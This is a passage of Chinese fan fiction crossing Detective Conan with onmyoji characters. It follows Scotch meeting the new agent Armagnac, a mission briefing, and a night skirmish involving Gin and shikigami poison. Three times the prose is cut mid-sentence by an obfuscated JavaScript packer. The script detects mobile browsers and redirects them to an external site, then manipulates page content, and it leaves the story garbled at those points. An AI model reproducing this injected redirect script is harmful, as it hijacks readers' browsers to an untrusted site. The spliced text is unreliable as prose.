老天哟,他来大阪几十次了,至今都会在这一片区域迷路。阿玛尼亚克刚调岗过来一个月,竟然能在四通八达的地下通道里毫不犹豫找对他给的位置。 某一瞬间,大块头脑海角落闪过几个想法,关于这位同事出身情况的。但夏天地下通道里行人进进出出摩肩接踵,他在人挤人里又把那丝灵感忘在脑后。 他半紧张半欣慰地跟在好同事身后乖乖往安全屋方向走。两人钻进一处狭小的巷子,绕过廊道两侧空荡荡的商铺,站在一处闲置公寓楼下。 建筑四周荒草丛生,毫无人烟。这里楼栋密集,比之前空旷的废弃建筑群阴湿些。昨天刚下过雨,长了青苔的石砖渗出几丝焦土混着霉菌的气味。楼栋出入口防盗门上的锈迹微微剥落,很多房间的窗户夹缝也有小虫尸体叠在一起。透过玻璃能看到里面空空荡荡,大概是还闲置着没有住户在。 背着乐器包、剪了头黑色碎发的蓝色猫眼男人正靠在公寓门前。 他放下正在打字的手机,想对伏特加和新搭档露出一个和善的微笑。但嘴角弯起的动作做到一半,硬生生被看到的景象钉在原位。 原来伏特加不戴帽子的时候长这样。苏格兰内心复杂地想。 ......不对,应该说,伏特加竟然有不戴帽子的时候。 “来了。”他决定不勉强自己做僵硬的表情,只是简单礼貌地点头致意。 伏特加还没来得及开口,一直沉默不语的阿玛尼亚克突然抬头,纯金色眼瞳一动不动盯着眼前的狙击手。他浑身气质算不上戒备,只是微妙的好奇稍稍压过正常范围的礼貌。 两双猫眼直直对上时,苏格兰总觉得皮肤像被刺了一下,先是微微战栗,随后有些心跳紊乱带来的慌张。 后一种感觉让他产生耳鸣,蜂鸣声滋滋的响动里又像有声音在提醒,离眼前人远一点。 狙击手动了下自然垂在左侧腰间的手指,佯装不在意放进口袋。指尖接触到布料内侧的手机,另一种冰凉的温度将他机能拉回原位。 “怎么了?”苏格兰面色不改地问,“对我很好奇?” “......嗯。”魔魅流微微点头,继续盯着眼前人的颈侧。 视线扎在要害区会很冒犯,但他没有前进、甚至微微后退几毫米拉开距离——像被排斥后举手妥协,只不过仍然抱有兴趣。 “你养死过猫?” ......这到底是在问什么。 问题来得太突兀了,苏格兰的表情直接卡顿在脸上。 别说养死了。他甚至能百分百确定自己根本没养过猫。 看来新同事真的比预想中更麻烦。 起初他们威士忌小队没有收到任何消息。直到几个小时前,琴酒才给苏格兰和同一小组的莱伊发了封邮件,说准备接手位新成员。代号阿玛尼亚克,是个脑子不太好使的家伙。 小队近期有个任务要忙,中午才结束回安全屋修整。苏格兰和莱伊还没来得及调查新成员的情况,几人里只有早退的情报员波本闲一些。 后者抱着“能准备一点是一点”的心情,临时从情报库里扒拉了一些关于阿玛尼亚克的信息,分享给苏格兰。只不过它们大多都无关痛痒宽泛得要命。 那些情报和琴酒的描述差不多。被采访者说起这位代号成员时,全是针对性格的评价:难沟通、看着有点渗人、那家伙有什么特殊癖好吧怎么一直给另一位当忠犬......诸如此类。 关于“忠犬主人”柯涅克的信息更是少之又少。没有画像,形容的词语也从五六个缩减成一个——“性格恶劣的谎话专家”。 波本念材料念到这里时翻了个白眼。百分之九十的情报人员都能被套进这个形容。与其看这些可有可无的东西,不如等人来了他们亲自观察。反正信息这么少,他们也做不了什么准备。 这些情况总结下来,苏格兰来接人是还是抱着不少警惕的。 他先根据经验对这位新搭档做了一个粗略想象——大概是一位身高很高、劲瘦、冷酷无情又忠诚的杀手。穿着可能也是地下世界随处可见的黑色行装。性格不外乎是寡言少语,一周内杀的人比说的话还要多。 哦对了,波本翻材料翻到最后,还看到千面魔女贝尔摩德提供的一条微妙的信息。她说阿玛尼亚克是橘色头发,眼睛颜色很漂亮,整个人精致得像大号布偶猫。 这个评价太贝尔摩德了。正因为过于典型,波本硬是忍着反胃将上述信息添加进“对阿玛尼亚克情报库”。这意味着目标可能很年轻,并且长得不错——金发情报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256585|182078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贩子捏着鼻子总结。 现实中,此时此刻,苏格兰挨个将虚拟画像中的特征与新搭档一一对应。关于性格和形象的部分基本全中,但他们好像忽略了一个重要的问题。 他们以为琴酒评价里的“脑子不太好使”带有不少主观情绪,但没考虑过,阿玛尼亚克的不好沟通可能不是因为性格,而是因为脑回路。 对方不太像那种聪明到极端的天才,而是更偏向于思维系统奇怪的家伙。 “抱歉。我很喜欢猫,但是没有养过,”梅田阴湿的小巷里,苏格兰似笑非笑地顺着那个问题回答,又将话头抛回去,“怎么问这个?” 他视线隐蔽地锁在阿玛尼亚克脸上,试图阅读后者的一切微表情。 新搭档没有对这个回答有过多反应。他一只手臂搭着外套,另一自然垂在身侧,以毫不起眼的幅度做了个奇怪的动作——微微抬起右手、伸出、掌心朝下,好像在隔空快速抓什么东西。那东西像在移动,抓握者的手最终也没有攥成拳头,而是虚虚弯起半径几厘米的空间。 魔魅流的视线也从苏格兰颈侧转移到抓握空气的附近。他双眼微敛,睫毛阴影遮掩住金色有些发光的虹膜,看不到任何由它们反射出的物体形状。 伏特加左顾右盼:“有什么东西吗?” 魔魅流:“蚊虫。” “你的声音和我一位长辈很像,”他回答苏格兰之前的话,解释自己初见时的好奇心,只是双眼眨动的幅度看着有些心虚,“他养了很多猫。” “是吗。”苏格兰耸肩。 如果是平时场合,他大概就半推半就信了这个解释。只不过,刚刚阿玛尼亚克甫一抬手,苏格兰突然觉得两侧肩膀轻重改变了。 像有什么从右肩跳到左肩,躲开另一人的注视。 苏格兰心底微沉,最终决定暂时压下这个异常点。他与已经掏出手帕准备擦汗的伏特加视线接触,微微颔首。后者动作夸张地舒了口气,双手捧在一起做了个上供的动作。 “交给你们了哈。”大块头像扔掉什么烫手山芋,飞也似地逃开了。 苏格兰探头看了眼对方离开的方向,没话找话地问新搭档:“你见过琴酒了?” 魔魅流点头,随后一言不发地杵在原地,视线移向公寓楼出入口。 明明一句话也没说,苏格兰莫名就明白了对方的意思。 上楼,去见见其余两位。 举动的含义在他脑海中不算灵光一闪,而像是有一种他听不懂声音从阿玛尼亚克身边发出,被他周身的未知存在探测到,转述给他。 这想法过于无厘头。苏格兰压下莫名的不安,开口解释:“他们还没回来,委屈你等等。” “嗯,不要紧。”魔魅流面无表情地摇头。他语气很好,只是视线仍然若有若无地关注眼前人的颈侧。 下一瞬间,苏格兰觉得肩膀一轻,那未知的重量扒上他后背,彻底躲进旁人视线接触不到的位置。虽然这样形容,但“它”造成的重量影响还不如随便一只小型鸟类。如果不是刻意去感受,可能察觉不到任何特殊。 “我肩膀上有什么东西吗?为什么盯着那里看。”他语气佯装随意地问 “......没有。”魔魅流说。 5. 搭档(五) 新成员入职的那天晚上大阪又下雨了。三位男性挤在狭小的安全屋里,于晚上九点左右等来了他们的情报人员。 波本打开门时,浑身清凉的湿气混着青草香散进安全屋。这些过于舒适自然的元素与室内所有存在都格格不入,很突兀,引得苏格兰和莱伊第一时间看过去。 只有坐在沙发角落的魔魅流无动于衷。他听到声音后慢半拍地抬头确认,随后又缩回去,一副心不在焉的模样。波本看新同事没有沟通意愿,也懒得自找没趣,两三句就将任务交代结束。 是熟悉的暗杀。在某个晚宴会场暗杀两个大人物。目标们一位是四井不动产的社长四井寿,一位是上田重工的新继承人上田明泰。 他们小队有两名狙击手,与目标数正好对上。苏格兰和莱伊一拍即合,选择各自寻找狙击点位,尽可能找目标聚集在一处的时机同时下手。波本在现场提供情报,以及创造这样的机会。至于阿玛尼亚克,他作为近战,机动辅助整个过程。 “以上,”波本将写有细节信息的笔记递给苏格兰,示意他传给余下两人过目,“有人有疑问吗?” 以往这种时候,他视线总会挑衅地看向莱伊。对波本来讲,只要这位变数大爷不说话,一切都会走在顺利的轨道上。 但今天不一样。苏格兰将笔记传给莱伊时偷偷瞄了波本一眼,发现后者视线不易察觉地关注着阿玛尼亚克。 正常也不正常。 正常的点在于,人确实会对突然出现的陌生人感到警惕。不正常的点是,波本只是直勾勾地看,一句讽刺的话也没说。 好吧,苏格兰大概想到了原因。 阿玛尼亚克这种不好沟通的性格实在没有破绽。像竖起严实的外壳,让人窥探不来里面的任何细节、无从下手。 对于波本来说,由他主动撬开谈话者的嘴,试探效果能折掉四分之三。反正他们搭档的时间还很久,等有突破口后再试试也不迟。 行动时间是第二天晚间。看上去很急迫,但四井不动产是组织之前一直追踪的势力。波本为了情报组其余任务早就混了个相关的服务生身份,只等在任务现场顺势而为提供协助。 剩下负责战斗的三人有大约二十个小时做准备,时间也相对宽裕。 莱伊是个话很少又总是独来独往的人。他没什么要准备的,像以往一样背上枪、留下一句“我去踩点”、挥挥手就从安全屋离开了。波本还有其他工作要忙,同样简单打了个招呼就要赶去下一场。 梅田安全屋坐落在狭窄又错乱的小巷子里,四周藏着几家只有本地人会去的烧鸟店铺。偶尔有穿围裙的厨师进出。他们抱起放满玻璃杯的箱子,穿梭在比狭窄支路更昏暗的小道里。 莱伊偶尔会从这中间抄近路。波本也会。金发黑皮的青年快步隐藏在烟火和阴影中。直到看不见他时,苏格兰才拉上厚重的遮光窗帘。 房间里只有一盏发黄的顶灯。夜晚空气里的霉味更浓。它们又被灯的热度微微烤焦,往余下两人呼吸道钻。 魔魅流还坐在原位不动。武器被小组成员们堆在储存间里。刚经过取用后房门大敞,能看到放了几个柜子。墙上挂着长短型号不一的枪,弹匣和其余装备塞在抽屉里。 武器房间太小,挤在厕所和唯一的卧室之间。距离客厅沙发四米远。 但魔魅流自始至终没有好奇过。他像没看到莱伊的所有动作那样,双眼失焦一般坐在原位。苏格兰甚至觉得,对方不论是肌肉还是关节,连一点细微的变化也没有。 是在发呆。 苏格兰脑海里莫名就冒出这个想法。 他不知道自己是怎么从那张面无表情的脸上读出情绪的,又或者说......是“第六感”感知到的。就像下午体验到的那样。 苏格兰思考,叹气,决定先忽略自己和同事之间毫无缘由的诡异心电感应。 “......你晚上不回去?”他开口问。 可能阿玛尼亚克之前说的有句话是真的。苏格兰发声后,明确注意到对方身体微微僵了一下,然后瞬间竖起耳朵。就好像一只猫听到熟悉的音色,仔细辨认来人的身份。 大概真的有一个长辈和苏格兰声音很像,阿玛尼亚克也经常听对方讲话。明明之前波本和莱伊说了那么多句他都无动于衷。 “这里是安全屋,不是普通公寓,”苏格兰解释,“我们偶尔会在这里开作战会议,但大多数时候不会有人过夜——我想你应该能明白我的意思。” 魔魅流眨了眨眼,没动,看上去没听懂话里的潜台词。 狙击手一时间有些语塞。 好吧,他心想,可能新同事听不懂这种委婉的赶人。苏格兰快速做了个的深呼吸,好声好气地补充:“你该回你那里了。” “......哦。” 魔魅流这下答应了。他没有好奇苏格兰为什么也杵在窗边不动,只是抱着自己的黑风衣外套,一脸出神地走到门口。他脚步比上楼的时候略拖沓,神态也有些微不可察的迟钝。 那诡异的心电感应又来了,苏格兰现在能识别出,新同事正在心情低落,并且这情绪让对方变得有些笨拙。 说实话,对方晚上要睡在这里也行。安全屋里有不少监控和监听装置。如果处在其下的人不介意,倒是可以当它们不存在。不论如何与他都没什么关系,反正他歇脚到凌晨就走。 不过被劝的人已经要出门了。魔魅流心不在焉地走到玄关换鞋,拿起波本特意留下的新备用钥匙。 一丝无关紧要的灵感涌进苏格兰脑海。或许是眼前的大猫看上去太无害,他的胆量意外高了些。 想起自己不久前观察到的情景,猫眼青年佯装无所谓地试探:“你好像突然间就心情不太好。” “有烦恼吗?” 他特意没看另一人的方向,意图表示自己这句话完全是随口提起。 狙击手心里有点打鼓。问话的冲动很诡异。面对不知底细的组织成员,他向来不会这么莽撞。但那个神秘的第六感效力还在,没有发出警告,像在说“当前情景是无害的”。 苏格兰说不清这种割裂的意念是怎么回事。他只好慢慢沿着讯号的指示,判断它是否可以相信。 安全屋大致安静了半分钟。 魔魅流听到“烦恼”两个字时,系鞋带的手从绳结间掏空,在另一只手的皮肤上轻轻划了一下。 从苏格兰站立的角度,清楚观察到那双金色眼瞳一缩。瞳孔仍然是黑色圆形,规整得有些不正常,但睫毛上下扑闪的频率升高了。 紧张,尴尬,还有细微的敌意。 “好了好了,我不问了。”狙击手从善如流地举手投降。 魔魅流抿了抿嘴,看了同事一眼。 “你有任务?”他突然开口。 苏格兰不解地看回去,点头承认:“对,凌晨有一个。” “和琴酒他们?” “?” 他们? 一个大问号戳进苏格兰脑海里。他卡顿了一下,品味这句话里掺了哪些情绪。不像是纯好奇,也不像兴师问罪、嘲讽等。有点酸溜溜的,这股微妙的别扭也不像在针 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256586|182078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对琴酒。 确认那个任务保密度不高,他干脆耸肩解释:“我和龙舌兰。” “哦。”大猫浑身氛围瞬间蔫下去。 - 魔魅流关上门,磨磨蹭蹭地找到公寓楼梯间。 这处安全屋所在的楼是中庭挑空、各户环绕一圈排布的结构。楼梯间在四个角的位置,封闭起来,只有太阳攀升到特定角度时稍亮些,其余时间全部靠人造灯。更别说现在是晚上。老旧灯丝的黄光穿过积压在灯泡底部的灰尘,亮度大减。 他随意找了面墙靠着,出神地盯着手机邮件。 其实波本后面说的话他都没怎么听。 任务大体情况和分工介绍完毕后,收件箱就适时弹出新邮件,抓走他的注意力。 发信人是“龙二”,标题只有一个简短的“无题”。正文字数一如既往的少,寥寥两三行,大致交代说凌晨才能回去,要跟琴酒跑一个现场,不用等。 魔魅流当时只觉得心里有点微妙地空落,像神经最敏感的位置被戳了一下。哪里不对,但那不对劲客观上又不该持续这么久。恍惚的状态被苏格兰看到,散伙后明晃晃点出来。 他确实有烦恼。即使无法用确切的语言描述,但仍觉得有种莫名的委屈感。 今天是两人这几个月来分开行动的第一个晚上。 龙二凌晨要在外面忙工作,搭档还是那个难沟通的琴酒。他自己先下工了,接下来要一个人坐电车回合租公寓、一个人到家洗漱、然后躺床上准备入睡。 他应该听从叮嘱“乖乖回家”,甚至苏格兰也劝他快点回去。 但名为“不习惯”的情绪突然膨胀,魔魅流没由来得有些焦虑——或许是焦虑,他说不清。 公寓楼外传来“咣当”一声响,是垃圾桶被人重重磕在地面。哗啦啦的倾泻声里有塑料摩擦的动静。大概是四周什么人在深夜随地扔垃圾。 被惊动的醉汉吵嚷了几声,先和倒垃圾的人吵起来。空气中依稀混杂其余人的窃窃私语,还有几道拉开窗帘的声音。 晚上的梅田大迷宫依然热闹。他们的小巷子仿佛也被突然点燃,活络得像白天。 ......如果是白天、离人们入睡还有很久的话,乱跑说不定也可以。 魔魅流倾耳听了一会儿,撑上楼梯扶手,从台阶上翻下去,一层一层跳着落到楼下,钻出公寓的生锈大门。 他落地没有声音,但小巷里的垃圾大战还在进行,并且愈演愈烈。拉窗帘的声音从头顶产生,或许是某户屋主好奇想看热闹。魔魅流鬼使神差地抬头,意外与窗边的苏格兰对上视线。后者表情有些微妙。 狙击手内心复杂,脑海中快速计算同事出门了多久,应该花费多长时间下楼。为什么现在才到楼下,以及不远处的争吵与他有没有关系。 魔魅流倒是没有一点压力。他从善如流地问:“你知道琴酒今晚在哪吗?” “啊?”苏格兰语塞,思考了几秒该不该告密。 ......等等,这算什么告密啊,琴酒和阿玛尼亚克对上关他什么事。 “在天下茶屋,”苏格兰叹气,“不管做什么,别影响明晚的任务。” “不会。”魔魅流丢下这句话就跑起来。 被叮嘱的“命令”是乖乖回家,现在这种行为算板上钉钉的深夜乱跑。但急迫和焦虑情绪像肥皂泡破掉后黏在内脏壁上一样,黏黏腻腻的有些不自在。 违抗命令是错误的。但他现在要去命令发出者身边。 如果被骂的话......被骂了再说吧。 6. 搭档(六) 夜晚的天下茶屋一带很热闹。 这里算是大阪最老旧最混乱的地方之一,每隔两步就躺着一个流浪汉。破旧围栏和腐朽生锈的合板门支棱在路侧,被各色涂鸦掩盖。空气中有不少酒味,像是谁吐在哪里了。 两人路过一处路口时,花开院龙二盯着某个睡死过去的流浪汉看了一会儿,卡在同伴将将发脾气的边缘回头跟上。 “......第三个了,”琴酒啧声,语气不太好,“这些人有什么引起你兴趣的地方?” 穿和服的男人耸肩。他盯着自己的新搭档看了一会儿,莫名其妙笑了一声。 “说了你又不会懂,”花开院龙二有些敷衍地解释,“他们沾了点脏东西......还挺有意思。要是魔魅流在,不用我提醒都能看出问题。” “但现在路过这里的是你,很没劲。你看不出来也不感兴趣。” 琴酒掏出手枪上膛,握在掌心。他有点想给后面这家伙一子弹让人闭嘴安静,但忍了忍最终没动。 他的五感不完全是摆设。这附近除了浓重的酒味和尿骚味,还有丝丝灼烧草叶的气味混在其中。很轻,但仔细闻起来确实有。那与以往他们认知中的“草叶”不同,显然不是同一种东西。 柯涅克重点关注的三个流浪汉身上全散发出类似气味。这异常敏感的观察力,让琴酒不得不高看一眼——如果忽略那些神神叨叨的附加描述。 “那确实与我们的任务无关。”他提醒:“真想多管闲事的话就记录下来,之后交给情报组去查。” “我就是情报组。”花开院龙二接茬。 他说话时语调懒散,听上去只是单纯好奇。但在银发杀手看不到的地方,阴阳师眉心压低眯起双眼,右手探到身侧和服与风衣相贴的位置。 那里固定了几排刻了字的竹筒,显然是由风衣主人亲自藏进去的,因为他对所有位置记得很清楚。花开院龙二熟门熟路地摸出来一节,轻轻叩开盖子。 细线一般的透明水流从竹筒中飘出,几秒后拉长,加速飞奔向流浪汉。它们在夜晚会反射月光,从某些特定的角度观察时,能从折射线描绘出形状。 但琴酒没回头,流浪汉也睡得昏天黑地。细水流从后者的鼻孔、耳蜗、口角等位置钻进去,潜伏下来。 花开院龙二合上竹筒盖子,将容器藏回风衣内侧。 这是第三个被式神言言打上标记的人。既然琴酒给出调查理由,他自然可以借助这个组织的人力物力光明正大调查。 琴酒没有多管闲事的习惯,但花开院龙二有这个需求。一切发生在四周的可疑点都可能与被家族任命的调查任务有关。注意这些,从中抽丝剥茧,将所有线牵到一处,最终顺着捋出藏在黑暗另一端的目标们。 这是他和魔魅流这几年一直在忙碌的事。用其他“同事”的话来说就是私活。不过这私活要比组织的任务排名靠前,重要程度能获得压倒性胜利。甚至可以说,组织任务是为了演才顺手糊弄一下。 天下茶屋范围不大。琴酒今晚来这里更多是找人。 他在片区最边角的破败建筑里找到了这次的目标。银发杀手二话不说,一枪崩开门锁,大步踏入。 墙里传来流弹撞击产生的清脆金属声。目标是一群硬茬,即使子弹钻进肉里又穿出来,他们也一声不吭,将闷哼硬生生咽下去。 花开院龙二没跟着进门。他靠在外墙上木屐一下一下敲着地面,神情冷漠。 他理解不了,也懒得理解为什么有人会享受这种极端暴力——不论是今晚要处决的那些叛徒,还是琴酒本人。没见过值得畏惧的存在,只好用过家家一样的方式来模拟同类的刺激。 听上去太闹腾了。明明有命但不知道珍惜,明明琴酒和这些人才像脑子有问题。 阴暗逼仄的地方总有不少小东西存在。花开院龙二抬脚踹了下建筑旁边的树,噼里啪啦抖下来几条小虫。其中还有一只怪异的小妖怪,额头上长了两根角,身子只有脑袋一半大。后者屁股着地摔在地上,恶狠狠地抬头瞪视。 “看什么看,”花开院龙二啧声,蹲下身抓起小妖怪后颈,将它提起来,“问你件事。” 小妖怪被人类不太好的态度点着了。它讲话讲不清楚,手舞足蹈地比划,时不时发出怪叫表达不满。 阴阳师挑眉,拎着手中的后颈晃了晃,小妖被突如其来的动静一惊,腾起身转头抱住男人的手臂吱哇乱叫。 “你在这附近,有没有见过外地来的大家伙,”花开院龙二一边努力甩开它,一边继续自己的问题,“我知道狂骨会给每个小妖看关西妖怪名册,一旦陌生的你应该能认出来。” “没见到正脸也无所谓。有明显不一样的气势,或者其他——” 冲击波裹着飓风从身后袭来,伴随小妖怪尖利的叫喊。 花开院龙二反应慢了一拍,没有提前卸力。爆.炸产生的烟尘推着身体向前,木屐结构很难保持平衡,他略有些狼狈地滚了一圈,稳住姿势。 火光里冲出来一个人。没有熟悉的银色长发和黑风衣,而是完全陌生的打扮。一个长相凶恶的寸头男人。脸上有道新鲜的伤口,左臂位置糊开一片深色水渍,顺着布料滴滴答答往下溅。 看样子是敌人。花开院龙二低声骂了句琴酒,快速环视四周想找个能避战的位置。 但他的好同事显然被缠住了。火光里子弹出膛的声音没停过,偶尔还有细碎的小爆.炸产生。寸头男人放下捂伤口的右手,甩出折叠刀狂奔过来。 地上有些黏腻,碎石还崩得到处都是。这种环境里木屐比以往还要不便。花开院龙二本就是个不擅体力的人,躯干和四肢动起来的速度比持刀者慢很多。 不远处的建筑里还有其他人从窗口钻出来,但和服男人只能将全部注意力放在眼前的对战上。他几次想伸手取出藏在风衣内的式神,但敌人的动作并不给他任何机会。 某次回身时刀刃正好与风衣擦了个角,撕裂的位置微微泛起波动。花开院龙二狼狈地矮身从袭击者臂弯下钻出,找了个偏暗的位置压低身体。他并起右手食指和中指放在唇边,低声吟诵咒语。 黑风衣像波浪一样起伏,黑色的、线一般的液体滴落,顺着地面快速划过刺进袭击者的七窍。眼前的敌人、不远处赶来的敌人、还有正从爆.炸中逃脱的——到底有多少人,琴酒干什么吃的! 式神化作的猛毒黑水瞬间将所有人放倒在地。燃烧的噼啪生和肉.体倒地的声音垄断听觉。 紧接着两声枪响,子弹破空袭来。 阴阳师瞳孔一缩,还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256587|182078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做出反应,有人先一步出手将他腾空抱起。 眼前的一切都开始变小,树木和建筑的高度像拦腰截断。琴酒正在孤零零地扒开砾石,手里还提着一块尸体,画面有些滑稽。 视角转换是瞬间的事。花开院龙二落地后,逃一样地从现在的支撑点上跳下来,对身后人的脑袋敲了一下。 动作很大。但与之相对的是,他五官绷紧,神色有些木然。 这种突发又诡异的体验实在太熟悉了。他甚至不用多想,肌肉记忆都能认出是魔魅流。 毕竟发生过很多次。几年前开始,魔魅流就喜欢用这种类似的环抱姿势,将他带离危机现场。花开院龙二之前没觉得有什么问题,可这种大量外人在看的场合,莫名就有些不自在。 虽然没什么相似点,但总让他想起妹妹柚罗喜欢的那部动画电影里狮子举狮子的场景。有点幼稚。 “......别总是突然动手动脚,”他语气微妙,“放我下来,琴酒看着呢。” 魔魅流先是怔愣,随后紧张地环视四周。被推出来当挡箭牌的人视线还没到这里,但花开院龙二一说他已经开始慌了。 “......我知道了,”他俯下.身,微微抿紧嘴唇看上去有些失落,“龙二很讨厌我这样——” 又被打了一下。 “我没说......”花开院龙二后仰,五官皱成一团。 倒也不是讨厌......就是怪别扭的。 他后退一步避开大猫的视线,推开阻拦的灌木丛,回到方才打斗的位置。 魔魅流来得很快,因此倒地的人们被式神狂言袭击不到一分钟。按照常理,只要在期限前饮下解药,完全可以规避死亡。中毒引起的虚弱后遗症只需要养一养。 花开院龙二毕竟不是全心全意的犯罪组织成员,置人于死地的事能不做就不做。 但在场的除了战俘还有琴酒。他们尽职尽责的冷酷同事可不管这些人是怎么回事,只当柯涅克又用了那种杀人于无形的剧毒。 既然是毒,就是带着杀意去的。琴酒不介意帮忙补枪。 眼看银发男人将手里的尸体扔在地上,掏出伯.莱.塔,花开院龙二眉心一抽,拉着魔魅流的袖子把人推出去。 后者内心仿佛还沉浸在方才带着教训意味的话语中。眼前的视野骤然从枝叶交杂的树荫,变成灰砾堆叠的空地,魔魅流一时间没反应过来。 他紧张。一紧张就容易绷住表情。 脸上所有五官都卸下属于人类的生动。他不知道作何反应,只能板起一张脸让自己看上去威风凛凛——或许没什么作用。 那双金色眼瞳还在黑夜里发亮。瞳孔像孔雀尾翎一样无机质,直勾勾地并不会动。仿佛两颗玻璃珠嵌在眼眶里。 这表情花开院龙二见得多了。有点滑稽,也称得上可爱。他突然生出些坏心思,脚尖轻轻踢了下眼前人的马丁靴鞋跟。 琴酒没有被突然出现的家伙吓到。他勉强耐下性子没开枪,想看看这对老搭档想搞什么鬼。 很快,他就见到穿和服的家伙凑到同伴耳边,勾起嘴角明目张胆地下令:“调开他,魔魅流。” “理由?不用讲理由。” 琴酒:...... 我听着呢。 7. 搭档(七) 琴酒意识到了,自己之前的看法有些偏差。 他那天听到阿玛尼亚克被形容是“单纯”时,还嗤之以鼻。 护主的疯狗们大多物似主人型。不过是恶人的刀枪和爪牙,主人什么样,它们就什么样。有柯涅克这种性格恶劣的家伙在背后指挥,所谓单纯不外乎是忠诚听话的另一种说法。 但今天他发现自己错了。 如果将阿玛尼亚克和伏特加放在一起,一句“不用讲理由”的命令发出,伏特加高低还会愣一秒,替自己上司思考这话会不会得罪另一位上级。 但眼前这家伙就是这么好骗。柯涅克话音刚落,他就这么冲上来。看表情像还在状况外,但身体先动了。像是完全没思考自己在做什么,以及这个行为会产生什么影响。 高度服从的特性放在手下身上是十分值得赞叹的。可此时此刻,琴酒两眼一黑,脏话在嘴边硬生生咽下去。 对手年纪不大,正处在力量巅峰时期,所有近战手段都是大开大合。在“调开”的命令下,他的攻击大多不冲着要害来,致使行动十分受限。 琴酒忍着血压陪人胡闹了一会儿,在某次和对方肢体摩擦接触时,突然浑身像触及高压电般麻木了一瞬间。 他脑神经空白的间隔不到零点一秒,但视野重新聚焦后,放在胸前口袋里的东西被人勾着金属环牵走了。 存放资料的U盘正飞向远处。投掷它的家伙显然不敢做得太过火,没用力,也不敢用力。金属盘飞跃建筑大门,咣当一声落进爆.炸后室内的砾石里。 实际上魔魅流也是第一次做这件事,扔掉东西后整个人又紧绷起来。他双眼直勾勾地盯着琴酒,想说些什么,但又没敢开口。 琴酒气得直接笑出来。 他都能替眼前的家伙补上要说的话。 “去捡”。一句轻佻的、带上了侮辱性的命令。或许这对主仆之间经常这么玩,但琴酒不想探究这种恶心的情趣。 目前看来或许阿玛尼亚克还留了一点脑子。虽然比不上伏特加,但好在没难以沟通到令人发指的地步。琴酒没耐心细致品读他人的微表情,但他有种感觉,对方当下的犹豫有种微妙的、“多说多错”的谨慎感。 爆.炸已经烧完了。两个打架的人安静下来后,周遭环境里的其余声音都被放大。除了虫鸣和其余诡异的自然声,琴酒还能清楚捕捉到水流的声音。 如果液体能像爬虫一般在地上行走,从细石和矮杂草上滚过不沾一点杂质,那它们大概正从柯涅克的脚下蔓延,钻进战俘们的耳鼻口。 琴酒不得不承认自己的注意力被U盘带偏了。而且天色太暗,月亮折射出的光影柔和得有些萎靡。他看不清环境里具体发生了什么,只能把诡异的动静归结于有人偷偷摸摸搞一些上不得台面的东西。 “理由,”他干脆直截了当地问,“到底是什么,现在可以说了。” 小动作已经结束,花开院龙二心情很好。他在琴酒视线死角处将盛水的竹筒藏进风衣,打了个哈欠:“真想听?其实很简单,试点药而已。想看看两种药合起来有什么反应。” “这是值得避开我做的事?”琴酒不信。 “嗯?没有,”花开院龙二意有所指地说,“你不是讨厌看我用阴阳师的手段吗。说什么看着就烦,懒得理我之类的。我这可是为你考虑啊,挑剔的家伙。” 琴酒:...... 听到“阴阳师”三个字就已经开始烦了! 他懒得做这种无谓的争吵,给伯.莱.塔上好保险,压着帽子转身就往远离建筑的方向走。 见上一秒还针锋相对的同事要离开,魔魅流犹豫了一下,还是小声提醒:“U盘。” “那是个空的。”琴酒没回头,只丢下一句冷淡的话。 外人走了,空地前只剩两人还站着。 早先在爆.炸和剧毒中走了几遭生死关的家伙们还躺在地上睡得安稳,甚至有人鼻腔里传出细密的鼾声。向外呼出的气推着气道两侧的液体,孔洞出口的水泡砰地被吹开。 看着蛮滑稽的。心真大。 花开院龙二刚想说话,但动作被哈欠打断。 现在是凌晨一点。虽然阴阳师们崇尚作息规律,但花开院龙二自己总会因为各种各样的工作忙到深夜。大脑和身体机能半推半就习惯了,不过该困还是会困。 他脱下风衣抱在怀里,没形象地靠着树干对同伴招手。 “来做什么?”他咬字迷糊地问,“太晚了,你该早点回家。柚罗都知道晚上不要在外面乱晃,你怎么比她还不省心。” 魔魅流没说话,只是凑近被用作支撑的树木。他刚抬起手臂,另一人就熟练地将风衣递过去。但接东西的家伙又将衣服抖开向前递,认真注视眼前人。 “不要脱外套,龙二。小心着凉。”魔魅流低声说。 花开院龙二抬起困顿的眼皮看回去。 魔魅流个子很高,他手上的风衣又很宽。大阪的夜晚没有风吹,风衣内侧一排排竹筒挂在那里,互相不磕碰。 细长一条大猫就这样展着衣服。漆黑一片模糊在黑漆漆的晚上,领口上缘又冒出一颗脑袋,金色眼睛橘色头发。莫名可爱,又像飞鼠。 